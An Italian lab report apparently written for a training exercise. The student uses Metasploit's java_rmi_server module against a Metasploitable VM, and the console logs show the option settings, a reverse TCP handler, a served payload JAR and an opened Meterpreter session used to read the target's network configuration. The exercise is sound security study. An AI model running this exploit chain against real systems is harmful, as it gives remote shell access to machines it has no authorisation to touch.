

# Relazione

Per prima cosa ho configurato gli indirizzi IP delle due macchine come richiesto dall'esercizio con il comando **sudo ifconfig eth0 192.168.11.111 netmask 255.255.255.0** e verificato che fossero stati modificati correttamente con **ifconfig**.

```
kali@kali: ~  
$ sudo ifconfig eth0 192.168.11.111 netmask 255.255.255.0 up  
[sudo] password for kali:  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255  
    inet6 fe80::e716:112:deed:4b23 prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:f6:dd:8f txqueuelen 1000 (Ethernet)  
    RX packets 6 bytes 884 (884.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 25 bytes 3214 (3.1 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 8 bytes 480 (480.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 8 bytes 480 (480.0 B)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
  
$
```

```
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.11.112  
[sudo] password for msfadmin:  
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:fd:14:16  
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:febd:1416/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:47 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:72 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:5247 (5.1 KB)  TX bytes:8573 (8.3 KB)  
          Base address:0xd020 Memory:f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1 Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:114 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:114 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:29797 (29.0 KB)  TX bytes:29797 (29.0 KB)  
  
msfadmin@metasploitable:~$
```

## Ho attivato **msfconsole**

```

kali@kali:~$ ifconfig eth0
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

kali@kali:~$ msfconsole

Metasploit tip: Writing a custom module? After editing your module, wh
y not try
the reload command

(( _ _ , _ _ ))
( _ ) 0 0 ( _ )
    _ _ /
    o _ \
        \
        _ _ M S F
        ||| WW |||
        |||   |||

= [ metasploit v6.4.18-dev ]
+ -- == [ 2437 exploits - 1255 auxiliary - 429 post ]
+ -- == [ 1471 payloads - 47 encoders - 11 nops ]
+ -- == [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

```

Ho cercato la vulnerabilità con **search** e le parole chiave **java rmi**, impostato le opzioni con **set rhost 192.168.11.112**, **set lhost 192.168.11.111**, **set rport 1099** ed ho avviato il tentativo con **exploit**. Il primo tentativo non ha avuto successo ed ho riscontrato l'errore anticipato nell'esercizio relativo ad **httpdelay**.

```
kali@kali:~$ msf6 multi/misc/java_rmi_server
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/cuFebRqlev2
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Exploit failed: RuntimeError Timeout HTTPDEL
AY expired and the HTTP Server didn't get a payload request
[*] 192.168.11.112:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) >
```

Ho quindi impostato il valore a 20 con il comando **set httpdelay 20** come specificato dall'esercizio.

Sono riuscita a sfruttare la vulnerabilità ed accedere alla sessione **meterpreter**

```
kali@kali:~$ msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/yE2vMi
afbAnLS
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.11
2:52846) at 2024-12-20 11:42:44 +0100

meterpreter >
```

Ho fatto le ricerche richieste dall'esercizio relative alle configurazioni di rete e la tabella di routing della macchina vittima con i comandi **ifconfig** e **route**.

```
kali@kali:~$ msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.11
2:52846) at 2024-12-20 11:42:44 +0100

meterpreter > ifconfig

Interface 1
-----
Name           : lo - lo
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ::

Interface 2
-----
Name           : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fe80:1416
IPv6 Netmask   : ::

meterpreter >
```

```
kali@kali: ~$ ifconfig eth0
Interface 2
Name          : eth0 - eth0
Hardware MAC   : 00:00:00:00:00:00
IPv4 Address   : 192.168.11.112
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::a00:27ff:fe8d:1416
IPv6 Netmask   : ::

meterpreter > route

IPv4 network routes
=====
Subnet          Netmask          Gateway          Metric  Interface
-----
127.0.0.1       255.0.0.0        0.0.0.0
192.168.11.112  255.255.255.0    0.0.0.0

IPv6 network routes
=====
Subnet          Netmask          Gateway          Metric  Interface
-----
::1             ::              ::
fe80::a00:27ff:fe8d:1416 ::              ::

meterpreter >
```

Screenshot taken

View image